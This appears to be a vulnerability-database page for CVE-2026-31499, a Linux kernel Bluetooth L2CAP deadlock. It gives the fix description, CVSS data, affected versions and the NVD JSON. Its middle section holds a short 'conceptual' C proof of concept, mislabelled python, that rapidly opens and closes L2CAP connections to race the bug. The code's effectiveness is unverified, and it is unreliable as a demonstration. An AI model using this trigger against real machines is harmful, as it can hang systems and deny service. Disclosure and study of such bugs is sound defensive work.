CVE-2026-31499

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix deadlock in l2cap_conn_del() l2cap_conn_del() calls cancel_delayed_work_sync() for both info_timer and id_addr_timer while holding conn->lock. However, the work functions l2cap_info_timeout() and l2cap_conn_update_id_addr() both acquire conn->lock, creating a potential AB-BA deadlock if the work is already executing when l2cap_conn_del() takes the lock. Move the work cancellations before acquiring conn->lock and use disable_delayed_work_sync() to additionally prevent the works from being rearmed after cancellation, consistent with the pattern used in hci_conn_del().

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Stable branch before commit 00fdebbbc557)

Linux Kernel (Stable branch before commit 3f26ecbd9cde)

Linux Kernel (Stable branch before commit d008460de352)

Linux Kernel (Stable branch before commit f7f35a4f7fd5)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-31499
 * This PoC demonstrates the logic to trigger the deadlock race condition.
 * It rapidly toggles L2CAP connections to race the cleanup logic with timers.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

int main() {
    int sock, i;
    struct sockaddr_l2 addr = {0};
    char dest[18] = "00:11:22:33:44:55"; // Replace with a target MAC

    // Allocate socket
    sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (sock < 0) {
        perror("Failed to create socket");
        return 1;
    }

    addr.l2_family = AF_BLUETOOTH;
    addr.l2_psm = htobs(0x1001); // Example PSM
    str2ba(dest, &addr.l2_bdaddr);

    printf("Starting race condition loop for CVE-2026-31499...\n");

    // Loop to trigger the race condition between l2cap_conn_del and timer works
    for (i = 0; i < 1000; i++) {
        // Attempt to connect to start timers
        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
            // Expected to fail or succeed depending on environment, key is the syscall
        }
        
        // Immediately close to trigger l2cap_conn_del while timers might be pending
        close(sock);
        
        // Recreate socket for next iteration
        sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if (sock < 0) break;
    }

    close(sock);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31499
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31499
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31499/
[4] VulDB https://vuldb.com/cve/CVE-2026-31499
[5] https://git.kernel.org/stable/c/00fdebbbc557a2fc21321ff2eaa22fd70c078608
[6] https://git.kernel.org/stable/c/3f26ecbd9cde621dd94be7ef252c7210b965a5c7
[7] https://git.kernel.org/stable/c/d008460de352e534f6721de829b093368564ec66
[8] https://git.kernel.org/stable/c/f7f35a4f7fd574f5889bb2e4b397e14cbb83f6da

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31499", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:48.283", "lastModified": "2026-05-14T15:16:45.357", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix deadlock in l2cap_conn_del()\n\nl2cap_conn_del() calls cancel_delayed_work_sync() for both info_timer\nand id_addr_timer while holding conn->lock. However, the work functions\nl2cap_info_timeout() and l2cap_conn_update_id_addr() both acquire\nconn->lock, creating a potential AB-BA deadlock if the work is already\nexecuting when l2cap_conn_del() takes the lock.\n\nMove the work cancellations before acquiring conn->lock and use\ndisable_delayed_work_sync() to additionally prevent the works from\nbeing rearmed after cancellation, consistent with the pattern used in\nhci_conn_del()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.84", "versionEndExcluding": "6.7", "matchCriteriaId": "3B605565-ABCA-49F6-9B41-61FAF3C20FA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.20", "versionEndExcluding": "6.13", "matchCriteriaId": "893662BF-1CCE-4257-93CB-4C93976B20C6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.8", "versionEndExcluding": "6.14", "matchCriteriaId": "366CEEDE-ED7E-4CD5-A00F-927D6C249DFD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.14.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "8BA62FCD-8829-4508-AFE2-0C12960267CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:-:*:*:*:*:*:*", "matchCriteriaId": "7DE421BA-0600-4401-A175-73CAB6A6FB4E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00fdebbbc557a2fc21321ff2eaa22fd70c078608", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3f26ecbd9cde621dd94be7ef252c7210b965a5c7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d008460de352e534f6721de829b093368564ec66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f7f35a4f7fd574f5889bb2e4b397e14cbb83f6da", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}